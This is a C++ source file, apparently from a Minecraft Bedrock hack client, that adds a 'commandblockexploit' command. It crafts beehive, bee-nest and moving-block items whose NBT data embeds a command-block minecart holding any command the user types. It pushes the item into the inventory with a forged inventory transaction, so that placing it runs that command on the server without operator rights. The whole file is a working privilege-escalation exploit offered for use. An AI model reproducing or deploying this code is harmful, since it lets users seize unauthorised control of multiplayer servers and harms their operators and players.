#include "CommandBlockExploitCommand.h"

#include "../../../SDK/Tag.h"
#include "../../Module/ModuleManager.h"

CommandBlockExploitCommand::CommandBlockExploitCommand() : IMCCommand("commandblockexploit", "Workaround for executing commands without op", " <beehive/beenest/movingblock/invisible/spoof> <command>") {
	registerAlias("cbe");
}

CommandBlockExploitCommand::~CommandBlockExploitCommand() {
}

bool CommandBlockExploitCommand::execute(std::vector<std::string>* args) {
	assertTrue(args->size() > 2);

	std::ostringstream os;
	for (int i = 2; i < args->size(); i++) {
		if (i > 2)
			os << " ";
		os << args->at(i);
	}
	std::string cmd = os.str();

	std::string type = args->at(1);
	std::transform(type.begin(), type.end(), type.begin(), tolower);

	C_ItemStack* item;

	if (type == "beehive" || type == "bh") {
		item = new C_ItemStack(***ItemRegistry::lookUpByName(std::make_unique<uintptr_t>().get(), std::make_unique<uintptr_t>().get(), TextHolder("beehive")), 1, 0);
		std::string tag = R"({Count:1b,Damage:0s,Name:"minecraft:beehive",tag:{Occupants:[{ActorIdentifier:"minecraft:command_block_minecart<>",SaveData:{Command:")" + cmd + R"(",Persistent:1b,Ticking:1b,TicksLeftToStay:0}}],ench:[{id:28s,lvl:1s}],display:{Lore:[")" + cmd + R"("],Name:"§g§lBeehive Command"}})";
		item->fromTag(*Mojangson::parseTag(tag));
	}
	
	else if (type == "beenest" || type == "bn") {
		item = new C_ItemStack(***ItemRegistry::lookUpByName(std::make_unique<uintptr_t>().get(), std::make_unique<uintptr_t>().get(), TextHolder("movingblock")), 1, 0);
		std::string tag = R"({Count:1b,Damage:0s,Name:"minecraft:bee_nest",tag:{Occupants:[{ActorIdentifier:"minecraft:command_block_minecart<>",SaveData:{Command:")" + cmd + R"(",Persistent:1b,Ticking:1b,TicksLeftToStay:0}}],ench:[{id:28s,lvl:1s}],display:{Lore:[")" + cmd + R"("],Name:"§g§lBeeNest Command"}})";
		item->fromTag(*Mojangson::parseTag(tag));
	}

	else if (type == "movingblock" || type == "mb") {
		item = new C_ItemStack(***ItemRegistry::lookUpByName(std::make_unique<uintptr_t>().get(), std::make_unique<uintptr_t>().get(), TextHolder("beehive")), 1, 0);
		std::string tag = R"({Count:1b,Damage:0s,Name:"minecraft:movingblock",tag:{movingEntity:{id:"Beehive",Occupants:[{ActorIdentifier:"minecraft:command_block_minecart<>",SaveData:{Command:")" + cmd + R"(",Persistent:1b,Ticking:1b,TicksLeftToStay:0}}]},pistonPosX:0,movingBlock:{name:"minecraft:bee_nest"},pistonPosY:0,pistonPosZ:0,ench:[{id:28s,lvl:1s}],display:{Name:"§g§lMovingBlock BeeNest Command",Lore:[")" + cmd + R"("]}}})";
		item->fromTag(*Mojangson::parseTag(tag));
	}

	else if (type == "spoof" || type == "sp") {
		item = new C_ItemStack(***ItemRegistry::lookUpByName(std::make_unique<uintptr_t>().get(), std::make_unique<uintptr_t>().get(), TextHolder("movingblock")), 1, 0);
		std::string tag = R"({Count:1b,Damage:0s,Name:"minecraft:movingblock",tag:{movingEntity:{id:"Beehive",Occupants:[{ActorIdentifier:"minecraft:command_block_minecart<>",SaveData:{Command:")" + cmd + R"(",definitions:["+minecraft:bee"],identifier:"minecraft:command_block_minecart",Persistent:1b,Ticking:1b,TicksLeftToStay:1}}]},pistonPosX:0,movingBlock:{name:"minecraft:bee_nest"},pistonPosY:0,pistonPosZ:0,ench:[{id:28s,lvl:1s}],display:{Name:"§g§lSpoofed BeeNest Command",Lore:[")" + cmd + R"("]}}})";
		item->fromTag(*Mojangson::parseTag(tag));
	}

	else if (type == "invisible" || type == "invis") {
		item = new C_ItemStack(***ItemRegistry::lookUpByName(std::make_unique<uintptr_t>().get(), std::make_unique<uintptr_t>().get(), TextHolder("movingblock")), 1, 0);
		std::string tag = R"({Count:1b,Damage:0s,Name:"minecraft:movingblock",tag:{movingEntity:{id:"Beehive",Occupants:[{ActorIdentifier:"minecraft:command_block_minecart<>",SaveData:{Command:")" + cmd + R"(",definitions:["+minecraft:moving_block"],identifier:"minecraft:command_block_minecart",Persistent:1b,Ticking:1b,TicksLeftToStay:1}}]},pistonPosX:0,movingBlock:{name:"minecraft:air"},pistonPosY:0,pistonPosZ:0,ench:[{id:28s,lvl:1s}],display:{Name:"§g§lInvisible Beehive Command",Lore:[")" + cmd + R"("]}}})";
		item->fromTag(*Mojangson::parseTag(tag));
	}
	
	else return false;

	g_Data.getLocalPlayer()->getTransactionManager()->addInventoryAction(C_InventoryAction(0, nullptr, nullptr, item, nullptr, 1, 507, 99999));
	g_Data.getLocalPlayer()->getSupplies()->inventory->addItemToFirstEmptySlot(item);
	
	clientMessageF("%sPlace the item down to execute the command!", GREEN);
	return true;
}
